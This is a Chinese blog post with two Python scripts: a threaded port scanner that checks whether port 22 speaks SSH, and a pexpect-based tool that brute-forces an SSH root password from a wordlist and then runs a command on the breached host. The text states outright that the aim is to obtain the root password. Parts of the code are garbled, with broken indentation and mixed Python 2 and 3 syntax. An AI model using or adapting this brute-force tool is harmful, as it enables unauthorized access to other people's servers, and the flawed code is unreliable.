ssh试探

7-12 405 views

1.端口扫描,判断22端口是否是ssh端口

# -*- coding: utf-8 -*-
from socket import *
import threading

lock = threading.Lock()
openSum = 0
threads = []
def portText(host,port):
    global openSum  # 将局部变量设置为全局变量
    try:
        s = socket(AF_INET,SOCK_STREAM)   #socket全连接方式测试端口是否开放
        s.connect((host,port))
        lock.acquire()      #取得锁
        openSum+=1      #开放端口数量+1
        print("[√] %s the %d port is open" %(host,port))
   if port == 22:
      s.send('123'.decode()) #随意向服务器发送一个字符串,判断22端口协议
      res = s.recv(100)
      print "port for Server:",res
        lock.release() #释放锁
        s.close()  #关闭连接
    except:
        pass
def main():
    setdefaulttimeout(1)
    for p in range(1,2000):
        t = threading.Thread(target=portText,args=('192.168.40.3',p))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()         #join 需要等待子线程结束
    print("[*] The scan is complete!")
    print("[*] they are %d open port" %(openSum))


if __name__ == '__main__':
    main()

效果图:

对于这种端口22开放,并且使用ssh协议的,我们就可以试探下,尝试获取root密码,用密码字典破解。

2.ssh试探

在此之前,先介绍一个非常好用的模块optparse,它可以向脚本里传参数,类似shell用法。如:python 1.py  -u root -p 123 -H 10.1.1.1

先安装pexpect python里的交互模块,shell里是叫expect

# -*- coding: utf-8 -*-
import pexpect
import optparse
prompt=[pexpect.TIMEOUT,'[p|P]assword:','#','>>>','>','\$']

def send_command(child,cmd):
    child.sendline(cmd)
    index = child.expect(prompt)
    if prompt[index] == prompt[-1]:
        print('[+]connect closed')
    print(child.before.decode())
def connect(user,host,password):
    f_con = 'Are you sure you want to continue connecting'
    connstr = 'ssh ' + user + '@' + host
    child=pexpect.spawn(connstr,timeout=1)

    ret = child.expect([pexpect.TIMEOUT,f_con,'[p|P]assword:'])
    if ret == 0:
        print('[-]timt out',host)
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT,'[p|P]assword:'])
    if ret == 0:
        print('[-]timt out',host)
        return
    child.sendline(password)
    index=child.expect(prompt)
    if index == 0:
        child.sendline(password)
        res = child.expect(prompt)
        if prompt[res] == pexpect.TIMEOUT:
            print('[-]timt out',host)
            return
        if prompt[res] == prompt[-1] or prompt[res] == '[p|P]assword:':
            print('[-]connect failed',host)
            return
    print('[+]connect success',host)
    return child

parser = optparse.OptionParser()  
parser.add_option('-H',dest='host',type='string')  # -H参数后面接的就是host参数
parser.add_option('-u',dest='user',type='string')
# parser.add_option('-p',dest='passwd',type='string')
options,args=parser.parse_args() #通过这个函数,获取参数
host=options.host      #给参数赋值给变量
user=options.user
# passwd=options.passwd
# print(host,user,passwd)

pass_file = open('1.txt','r')   #1.txt就是密码本,逐行试探
for buf in pass_file:
    passwd=buf.strip()          #去除文本里的换行符 
    child=connect(user,host,passwd)
    if child:
        print "[+]PASSWD FOUND!\n\n------"
        print passwd         #打印找到的密码出来
        print "------"
        break
else:
    print "[-]PASSWD NO FOUND!"
if child:
    cmd = raw_input("shell you want type:") #若找出来了密码,还可以敲一个命令测试下
    send_command(child,cmd)

 

效果图:

 

python的zipfie简单应用

一、场景案例 需求:当开发上传某一个zip包时,自动解压到当前目录。已经解压过得zip包不再解压! 此处用到的模块有Python3自有模块os,sys,time,json,re,zipf...

阅读全文

vip电影的解析

一、出现的原因 由于各大互联网视频app均推出了“轻奢主义”的营销模式,导致了很多优质视频需要我们办这个月卡、年卡才能观看,更离谱的是腾讯最近推出了会员...

阅读全文

logging日志模块

一、日志输出合理的必要性 日式收集使我们日常工作中都会遇到的问题,而一个好的日志输出,则会给收集工作带来大大的效率提升。同时能够给程序员自己排错带来...

阅读全文

欢迎留言